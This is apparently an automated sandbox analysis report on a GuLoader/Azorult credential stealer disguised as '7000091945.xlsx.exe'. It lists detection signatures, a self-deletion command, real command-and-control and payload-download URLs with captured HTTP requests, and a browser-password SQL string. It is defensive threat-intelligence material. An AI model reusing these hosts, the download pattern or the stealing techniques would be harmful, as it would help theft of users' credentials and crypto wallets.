Edit tour

Windows Analysis Report
7000091945.xlsx.exe

Overview

General Information

Sample name:	7000091945.xlsx.exe
Analysis ID:	1549220
MD5:	6fbbdc300fa11d35f4caf2d9509cfcaf
SHA1:	5bce72cec312e8b0cac43442fc55cead8e0913f3
SHA256:	0f61bbeefa04009b69aaeef1ac1e05358708caf8a476675dbb2342b1b38988fc
Tags:	exeuser-adrian__luca
Infos:

Detection

Azorult, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Suspicious Double Extension File Execution

Suricata IDS alerts for network traffic

Yara detected Azorult

Yara detected GuLoader

AI detected suspicious sample

Found many strings related to Crypto-Wallets (likely being stolen)

Self deletion via cmd or bat file

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file / registry access)

Uses an obfuscated file name to hide its real file extension (double extension)

Binary contains a suspicious time stamp

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains sections with non-standard names

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

7000091945.xlsx.exe (PID: 7784 cmdline: "C:\Users\user\Desktop\7000091945.xlsx.exe" MD5: 6FBBDC300FA11D35F4CAF2D9509CFCAF)

7000091945.xlsx.exe (PID: 8132 cmdline: "C:\Users\user\Desktop\7000091945.xlsx.exe" MD5: 6FBBDC300FA11D35F4CAF2D9509CFCAF)

cmd.exe (PID: 7428 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "7000091945.xlsx.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 756 cmdline: C:\Windows\system32\timeout.exe 3 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Azorult	AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.	The Gorgon Group	http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/ https://any.run/cybersecurity-blog/azorult-malware-analysis/ https://asec.ahnlab.com/en/26517/ https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/	https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.1856756897.0000000000060000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000000.00000002.1667493273.000000000056F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1668193897.00000000054CE000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: 7000091945.xlsx.exe PID: 7784	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
Process Memory Space: 7000091945.xlsx.exe PID: 8132	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
Process Memory Space: 7000091945.xlsx.exe PID: 8132	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.7000091945.xlsx.exe.353cba15.6.raw.unpack	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
3.2.7000091945.xlsx.exe.353cba15.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.7000091945.xlsx.exe.353cba15.6.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x42f48e:$string1: SELECT origin_url, username_value, password_value FROM logins 0x4303bf:$string1: SELECT origin_url, username_value, password_value FROM logins 0x29fc59:$string2: API call with %s database connection pointer 0x2a088d:$string3: os_win.c:%d: (%lu) %s(%s) - %s
3.2.7000091945.xlsx.exe.353c64ad.5.raw.unpack	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
3.2.7000091945.xlsx.exe.353c64ad.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.7000091945.xlsx.exe.353c64ad.5.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x4349f6:$string1: SELECT origin_url, username_value, password_value FROM logins 0x435927:$string1: SELECT origin_url, username_value, password_value FROM logins 0x2a51c1:$string2: API call with %s database connection pointer 0x2a5df5:$string3: os_win.c:%d: (%lu) %s(%s) - %s
3.2.7000091945.xlsx.exe.353c1d45.4.raw.unpack	JoeSecurity_Azorult_1	Yara detected Azorult	Joe Security
3.2.7000091945.xlsx.exe.353c1d45.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.7000091945.xlsx.exe.353c1d45.4.raw.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x43915e:$string1: SELECT origin_url, username_value, password_value FROM logins 0x43a08f:$string1: SELECT origin_url, username_value, password_value FROM logins 0x2a9929:$string2: API call with %s database connection pointer 0x2aa55d:$string3: os_win.c:%d: (%lu) %s(%s) - %s
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Double Extension File Execution

Source: Process started

Author: Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\Desktop\7000091945.xlsx.exe", CommandLine: "C:\Users\user\Desktop\7000091945.xlsx.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\7000091945.xlsx.exe, NewProcessName: C:\Users\user\Desktop\7000091945.xlsx.exe, OriginalFileName: C:\Users\user\Desktop\7000091945.xlsx.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: "C:\Users\user\Desktop\7000091945.xlsx.exe", ProcessId: 7784, ProcessName: 7000091945.xlsx.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T12:43:16.605671+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.8	49705	TCP
2024-11-05T12:43:55.385147+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.8	49713	TCP

ET MALWARE AZORult v3.3 Server Response M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T12:43:33.467786+0100	2029137	1	Malware Command and Control Activity Detected	188.114.96.3	80	192.168.2.8	49711	TCP

ET MALWARE Win32/AZORult V3.3 Client Checkin M14

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T12:43:33.236877+0100	2029467	1	Malware Command and Control Activity Detected	192.168.2.8	49711	188.114.96.3	80	TCP
2024-11-05T12:43:41.761842+0100	2029467	1	Malware Command and Control Activity Detected	192.168.2.8	49712	188.114.96.3	80	TCP

ETPRO MALWARE AZORult CnC Beacon M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T12:43:33.236877+0100	2810276	1	Malware Command and Control Activity Detected	192.168.2.8	49711	188.114.96.3	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T12:43:30.366110+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49710	185.244.144.68	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://geinf0.icu/TL341/index.php

Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: 7000091945.xlsx.exe

ReversingLabs: Detection: 23%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: 7000091945.xlsx.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 7000091945.xlsx.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.3.dr
Source:	Binary string: ucrtbase.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.3.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883419291.0000000034F70000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.3.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883419291.0000000034F70000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr
Source:	Binary string: msvcp140.i386.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.3.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.3.dr
Source:	Binary string: ucrtbase.pdbUGP source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.3.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.3.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.3.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883419291.0000000034F70000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.3.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.3.dr
Source:	Binary string: vcruntime140.i386.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.3.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-utility-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-timezone-l1-1-0.dll.3.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.3.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.3.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.3.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l2-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.3.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-string-l1-1-0.dll.3.dr

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 0_2_0040676F FindFirstFileW,FindClose,	0_2_0040676F
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 0_2_00402902 FindFirstFileW,	0_2_00402902
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 0_2_00405B23 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405B23
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 3_2_0040676F FindFirstFileW,FindClose,	3_2_0040676F
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 3_2_00402902 FindFirstFileW,	3_2_00402902
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 3_2_00405B23 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_00405B23

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.8:49711 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2810276 - Severity 1 - ETPRO MALWARE AZORult CnC Beacon M1 : 192.168.2.8:49711 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2029137 - Severity 1 - ET MALWARE AZORult v3.3 Server Response M2 : 188.114.96.3:80 -> 192.168.2.8:49711
Source: Network traffic	Suricata IDS: 2029467 - Severity 1 - ET MALWARE Win32/AZORult V3.3 Client Checkin M14 : 192.168.2.8:49712 -> 188.114.96.3:80

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49710 -> 185.244.144.68:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.8:49705
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.8:49713

Source: global traffic	HTTP traffic detected: GET /OGDTCbBRybqnXF193.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: mertvinc.com.trCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /TL341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: geinf0.icuContent-Length: 109Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 ec 26 66 9a 26 66 99 26 66 9a 26 66 9f 26 66 9e 46 70 9d 35 70 9c 47 16 8b 30 6c 8b 30 66 ef 45 16 8b 30 61 8b 30 66 8b 31 11 e8 26 66 97 26 66 9f 46 70 9d 31 70 9d 3a 70 9d 32 70 9d 30 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p41&f&f&f&f&fFp5pG0l0fE0a0f1&f&fFp1p:p2p0
Source: global traffic	HTTP traffic detected: POST /TL341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: geinf0.icuContent-Length: 25278Cache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /OGDTCbBRybqnXF193.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: mertvinc.com.trCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: mertvinc.com.tr
Source: global traffic	DNS traffic detected: DNS query: geinf0.icu

Source: unknown

HTTP traffic detected: POST /TL341/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: geinf0.icuContent-Length: 109Cache-Control: no-cacheData Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 ec 26 66 9a 26 66 99 26 66 9a 26 66 9f 26 66 9e 46 70 9d 35 70 9c 47 16 8b 30 6c 8b 30 66 ef 45 16 8b 30 61 8b 30 66 8b 31 11 e8 26 66 97 26 66 9f 46 70 9d 31 70 9d 3a 70 9d 32 70 9d 30 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p41&f&f&f&f&fFp5pG0l0fE0a0f1&f&fFp1p:p2p0

Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
